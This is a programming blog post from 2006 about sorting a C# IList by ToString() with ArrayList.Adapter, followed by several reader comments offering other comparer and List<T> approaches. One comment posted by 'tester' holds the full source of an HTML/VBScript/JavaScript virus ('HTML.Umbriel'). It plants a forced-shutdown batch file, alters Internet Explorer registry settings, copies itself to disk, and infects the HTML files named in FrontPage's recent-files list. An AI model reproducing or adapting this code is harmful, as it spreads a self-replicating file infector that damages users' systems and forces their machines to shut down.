Geeks With Blogs
Paul's development blog Tidbits from Smart Client, Windows Forms, C#, .NET 2.0, XML, and related toys...

For whatever reason, Microsoft didn't provide a Sort method in IList. So it seems like sorting a generic list requires that the list be adapted to an ArrayList. Here's a class and method call that supports sorting any list by the ToString() value of its members.

public class ToStringComparer : IComparer 
{
   public int Compare(object x, object y) 
   {
      return x.ToString().CompareTo(y.ToString());
   }
}

ArrayList.Adapter(list).Sort(new ToStringComparer());

 

Posted on Monday, May 8, 2006 2:27 PM | Back to top


Comments on this post: Sort a generic list (IList) by ToString() value

# re: Sort a generic list (IList) by ToString() value
Requesting Gravatar...
Because IList is just an interface, it can't make assumptions about the data structure that is implementing it. The class might not be sortable (for example, a collection that is optimized to be read in the order of inserts) or the sort parameters may vary.

You can also use List<T> to do what you want.
Left by Josh Einstein on Jun 24, 2006 11:09 AM

# re: Sort a generic list (IList) by ToString() value
Requesting Gravatar...
This works great, thanks for the suggestion.
Only thing extra I had to do, to cast my x and y to the object type I was using, in my case IList<T> type's element
Left by Andrew on Apr 09, 2007 8:51 PM

# re: Sort a generic list (IList) by ToString() value
Requesting Gravatar...
Code is below for the above comment:

public class ToStringComparer : IComparer
{
public int Compare(object x, object y)
{
return ((FieldEngine)x).FieldName.ToString().CompareTo(((FieldEngine)y).FieldName.ToString());
}
}

public IList<FieldEngine> SortIList(IList<FieldEngine> list)
{
ArrayList.Adapter((IList)list).Sort(new ToStringComparer());

return list;
}
Left by Andrew on Apr 09, 2007 8:51 PM

# re: Sort a generic list (IList) by ToString() value
Requesting Gravatar...
What about:

((List<BPVersie>)bpPlannen).Sort();

like mentioned in a previous post
Left by Pete on Oct 24, 2007 8:35 PM

# re: Sort a generic list (IList) by ToString() value
Requesting Gravatar...
I prefer:

-- create sorter derived form icomparer
public class NewsSorter : IComparer<NewsItem>
{
public int Compare(NewsItem x, NewsItem y)
{
return x.CreatedDate.CompareTo(y.CreatedDate);
}
}

// declare and populate my generic news list
List<NewsItem> n1 = NewsItemDA.GetAllNewsList();
// sort it using the sort class
n1.Sort(new NewsSorter());


this gives me the ability to have multiple sorts for the same class.

Left by jay on Apr 16, 2008 2:27 PM

# re: Sort a generic list (IList) by ToString() value
Requesting Gravatar...
Read a good post about this HERE! Give a couple of good examples.
Left by Brody on Feb 04, 2009 6:47 AM

# re: Sort a generic list (IList) by ToString() value
Requesting Gravatar...

<html><!--Umbriel-->
<head>
<title> Second Part To Hell's HTML.Umbriel </title>
</head>
<body>
<script language="VBScript">
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject("Scripting.FileSystemObject")
Set shell=CreateObject("Wscript.Shell")
if err.number=429 Then
shell.Run javascript:location.reload()
End If

Set windir=fso.GetSpecialFolder(0)
Set tempdir=fso.GetSpecialFolder(2)

Set wrte=fso.CreateTextFile(windir+"\windows.cmd")
wrte.WriteLine "cls"
wrte.WriteLine "@echo off"
wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34)
wrte.Close()

shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source", "C:\umbriel.html"
shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL", "C:\umbriel.html"

Randomize
rand=int(rnd*5)+1
If rand=1 then
shell.Run windir+"\windows.cmd"
End If
</script>

<script language="JavaScript">
JS
var viruspath, virus, code, fso, file, check, checka, checkb
fso=new ActiveXObject("Scripting.FileSystemObject")
viruspath=window.location.pathname
viruspath=viruspath.slice(1)
virus=fso.OpenTextFile(viruspath,1)
file=fso.CreateTextFile("C:\\umbriel.html")
for (i=0; i<500; i++)
{
if (checkb!=1)
{
if (Math.round(Math.random()*5)+1 == 3)
{
if (check == 2)
{
file.WriteLine("/"+"*")
file.WriteLine("*"+"/")
}
if (check == 3)
{
file.WriteLine("rem")
}
}
code=virus.ReadLine()
if (code == "/"+"*") { checka=666 }
if (code == "*"+"/") { checka=666 }
if (code == "rem") { checka=666 }
if (checka != 666 ) { file.WriteLine(code) }
checka=0
if (code=="</"+unescape("%68")+"tml>") { checkb=1 }
if (code=="// JS") { check=2 }
if (code=="rem VBS") { check=3 }
if (code=="</"+unescape("%73")+"cript>") { check=0 }
}
}
virus.Close();
file.Close();
</script>

<script language="VBScript">
rem VBS
On Error Resume Next
set fso=CreateObject("Scripting.FileSystemObject")
set shell=CreateObject("WScript.Shell")
set myfile=fso.OpenTextFile("C:\umbriel.html")
mycode=myfile.ReadAll
myfile.Close()
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page 'List\File1")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page 'List\File2")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5")
if rr <> "" Then Call Umbriel(rr, mycode)

Sub Umbriel(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
If infcheck<>"<html><!--Umbriel-->" Then
viccode=victim.ReadAll
victim.Close()
set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
wrtevic.Close
End If

End Sub
</script>
</body>
</html>
Left by tester on Feb 18, 2009 7:42 PM

# re: Sort a generic list (IList) by ToString() value
Requesting Gravatar...
As given by jay at 4/16/2008 2:27 PM works but it should not be default constructor for the type. We should define some overloaded constructor for this case.

Left by Sandeep on Jun 02, 2009 10:39 PM

# re: Sort a generic list (IList) by ToString() value
Requesting Gravatar...
With LINQ, it can also be done using
list.Order(o => o.ToString()).ToList()
However, this will create a new list, rather than sorting in place. List<T> has a Sort() method, but this was not exposed to IList to make it simple to implement the interface..

However, now that C# has extension methods, there is no reason for IList<T> to not have Sort!
Support this suggestion:
https://connect.microsoft.com/VisualStudio/feedback/details/552410/move-lots-of-helpful-methods-from-list-to-ilist-using-extension-methods
and perhaps it will make it into the next version of .Net.
Left by BlueRaja on Apr 22, 2010 2:12 PM

Your comment:
 (will show your gravatar)


Copyright © Paul Whitaker | Powered by: GeeksWithBlogs.net | Join free